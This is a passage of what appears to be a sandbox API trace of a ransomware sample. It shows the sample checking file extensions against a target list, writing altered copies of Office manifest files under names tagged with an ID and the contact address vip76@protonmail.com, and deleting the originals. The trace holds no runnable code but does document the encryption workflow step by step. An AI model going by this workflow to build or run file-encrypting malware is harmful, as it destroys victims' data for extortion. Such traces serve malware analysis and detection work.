	[0067.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0067.308] lstrlenW (lpString=".doc") returned 4
	[0067.308] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0067.308] lstrlenW (lpString=".docx") returned 5
	[0067.308] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0067.308] lstrlenW (lpString=".pdf") returned 4
	[0067.308] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0067.308] lstrlenW (lpString=".xls") returned 4
	[0067.308] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0067.308] lstrlenW (lpString=".xlsx") returned 5
	[0067.308] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0067.308] lstrlenW (lpString=".ppt") returned 4
	[0067.308] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0067.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0067.308] lstrlenW (lpString=".zip") returned 4
	[0067.308] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0067.308] lstrlenW (lpString=".rar") returned 4
	[0067.308] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0067.308] lstrlenW (lpString=".bz2") returned 4
	[0067.308] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0067.308] lstrlenW (lpString=".7z") returned 3
	[0067.308] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0067.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0067.308] lstrlenW (lpString=".dbf") returned 4
	[0067.309] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0067.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0067.309] lstrlenW (lpString=".1cd") returned 4
	[0067.309] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0067.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0067.309] lstrlenW (lpString=".jpg") returned 4
	[0067.309] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0067.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0067.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0067.309] lstrlenW (lpString=".doc") returned 4
	[0067.309] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0067.309] lstrlenW (lpString=".docx") returned 5
	[0067.309] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0067.309] lstrlenW (lpString=".pdf") returned 4
	[0067.309] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0067.309] lstrlenW (lpString=".xls") returned 4
	[0067.309] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0067.309] lstrlenW (lpString=".xlsx") returned 5
	[0067.309] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0067.309] lstrlenW (lpString=".ppt") returned 4
	[0067.309] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0067.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0067.309] lstrlenW (lpString=".zip") returned 4
	[0067.309] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0067.309] lstrlenW (lpString=".rar") returned 4
	[0067.309] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0067.309] lstrlenW (lpString=".bz2") returned 4
	[0067.309] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0067.309] lstrlenW (lpString=".7z") returned 3
	[0067.309] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0067.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0067.309] lstrlenW (lpString=".dbf") returned 4
	[0067.309] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0067.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0067.310] lstrlenW (lpString=".1cd") returned 4
	[0067.310] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0067.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104
	[0067.310] lstrlenW (lpString=".jpg") returned 4
	[0067.310] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0067.310] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0067.310] lstrlenW (lpString="AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 53
	[0067.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0067.311] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=763363) returned 1
	[0067.311] CloseHandle (hObject=0x328) returned 1
	[0067.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0067.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0067.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0067.311] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.311] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0067.312] GetLastError () returned 0x0
	[0067.312] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0xba5e3, lpOverlapped=0x0) returned 1
	[0067.342] WriteFile (in: hFile=0x2f8, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xba5f0, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xba5f0, lpOverlapped=0x0) returned 1
	[0067.355] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0067.356] WriteFile (in: hFile=0x2f8, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x13e, lpOverlapped=0x0) returned 1
	[0067.356] SetEndOfFile (hFile=0x2f8) returned 1
	[0067.356] CloseHandle (hObject=0x2f8) returned 1
	[0067.371] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0067.371] SetEndOfFile (hFile=0x328) returned 1
	[0068.030] CloseHandle (hObject=0x328) returned 1
	[0068.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0068.031] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml")) returned 1
	[0068.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0068.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0068.031] lstrlenW (lpString=".doc") returned 4
	[0068.031] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.031] lstrlenW (lpString=".docx") returned 5
	[0068.031] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0068.031] lstrlenW (lpString=".pdf") returned 4
	[0068.031] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.031] lstrlenW (lpString=".xls") returned 4
	[0068.031] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.031] lstrlenW (lpString=".xlsx") returned 5
	[0068.031] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0068.031] lstrlenW (lpString=".ppt") returned 4
	[0068.031] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0068.031] lstrlenW (lpString=".zip") returned 4
	[0068.031] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.031] lstrlenW (lpString=".rar") returned 4
	[0068.031] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.031] lstrlenW (lpString=".bz2") returned 4
	[0068.032] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.032] lstrlenW (lpString=".7z") returned 3
	[0068.032] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0068.032] lstrlenW (lpString=".dbf") returned 4
	[0068.032] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0068.032] lstrlenW (lpString=".1cd") returned 4
	[0068.032] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0068.032] lstrlenW (lpString=".jpg") returned 4
	[0068.032] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0068.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0068.032] lstrlenW (lpString=".doc") returned 4
	[0068.032] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.032] lstrlenW (lpString=".docx") returned 5
	[0068.032] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0068.032] lstrlenW (lpString=".pdf") returned 4
	[0068.032] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.032] lstrlenW (lpString=".xls") returned 4
	[0068.032] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.032] lstrlenW (lpString=".xlsx") returned 5
	[0068.032] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0068.032] lstrlenW (lpString=".ppt") returned 4
	[0068.032] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0068.032] lstrlenW (lpString=".zip") returned 4
	[0068.032] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.032] lstrlenW (lpString=".rar") returned 4
	[0068.032] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.033] lstrlenW (lpString=".bz2") returned 4
	[0068.033] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.033] lstrlenW (lpString=".7z") returned 3
	[0068.033] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0068.033] lstrlenW (lpString=".dbf") returned 4
	[0068.033] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0068.033] lstrlenW (lpString=".1cd") returned 4
	[0068.033] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0068.033] lstrlenW (lpString=".jpg") returned 4
	[0068.033] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.033] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0068.033] lstrlenW (lpString="AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 53
	[0068.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0068.033] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=14913) returned 1
	[0068.033] CloseHandle (hObject=0x328) returned 1
	[0068.033] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0068.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0068.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0068.034] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.034] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0068.034] GetLastError () returned 0x0
	[0068.034] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x3a41, lpOverlapped=0x0) returned 1
	[0068.112] WriteFile (in: hFile=0x334, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x3a50, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x3a50, lpOverlapped=0x0) returned 1
	[0068.113] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.114] WriteFile (in: hFile=0x334, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x13e, lpOverlapped=0x0) returned 1
	[0068.114] SetEndOfFile (hFile=0x334) returned 1
	[0068.114] CloseHandle (hObject=0x334) returned 1
	[0068.115] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.115] SetEndOfFile (hFile=0x328) returned 1
	[0068.116] CloseHandle (hObject=0x328) returned 1
	[0068.116] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0068.117] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml")) returned 1
	[0068.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0068.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0068.117] lstrlenW (lpString=".doc") returned 4
	[0068.117] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.117] lstrlenW (lpString=".docx") returned 5
	[0068.117] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0068.117] lstrlenW (lpString=".pdf") returned 4
	[0068.117] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.117] lstrlenW (lpString=".xls") returned 4
	[0068.117] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.117] lstrlenW (lpString=".xlsx") returned 5
	[0068.117] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0068.117] lstrlenW (lpString=".ppt") returned 4
	[0068.117] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0068.117] lstrlenW (lpString=".zip") returned 4
	[0068.117] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.117] lstrlenW (lpString=".rar") returned 4
	[0068.117] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.117] lstrlenW (lpString=".bz2") returned 4
	[0068.117] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.117] lstrlenW (lpString=".7z") returned 3
	[0068.118] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0068.118] lstrlenW (lpString=".dbf") returned 4
	[0068.118] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0068.118] lstrlenW (lpString=".1cd") returned 4
	[0068.118] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0068.118] lstrlenW (lpString=".jpg") returned 4
	[0068.118] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0068.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0068.118] lstrlenW (lpString=".doc") returned 4
	[0068.118] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.118] lstrlenW (lpString=".docx") returned 5
	[0068.118] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0068.118] lstrlenW (lpString=".pdf") returned 4
	[0068.118] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.118] lstrlenW (lpString=".xls") returned 4
	[0068.118] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.118] lstrlenW (lpString=".xlsx") returned 5
	[0068.118] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0068.118] lstrlenW (lpString=".ppt") returned 4
	[0068.118] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0068.118] lstrlenW (lpString=".zip") returned 4
	[0068.118] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.118] lstrlenW (lpString=".rar") returned 4
	[0068.118] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.118] lstrlenW (lpString=".bz2") returned 4
	[0068.118] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.119] lstrlenW (lpString=".7z") returned 3
	[0068.119] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0068.119] lstrlenW (lpString=".dbf") returned 4
	[0068.119] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0068.119] lstrlenW (lpString=".1cd") returned 4
	[0068.119] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104
	[0068.119] lstrlenW (lpString=".jpg") returned 4
	[0068.119] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.119] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0068.119] lstrlenW (lpString="AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 53
	[0068.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0068.119] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=357349) returned 1
	[0068.119] CloseHandle (hObject=0x328) returned 1
	[0068.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0068.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0068.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0068.120] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.120] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0068.120] GetLastError () returned 0x0
	[0068.120] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x573e5, lpOverlapped=0x0) returned 1
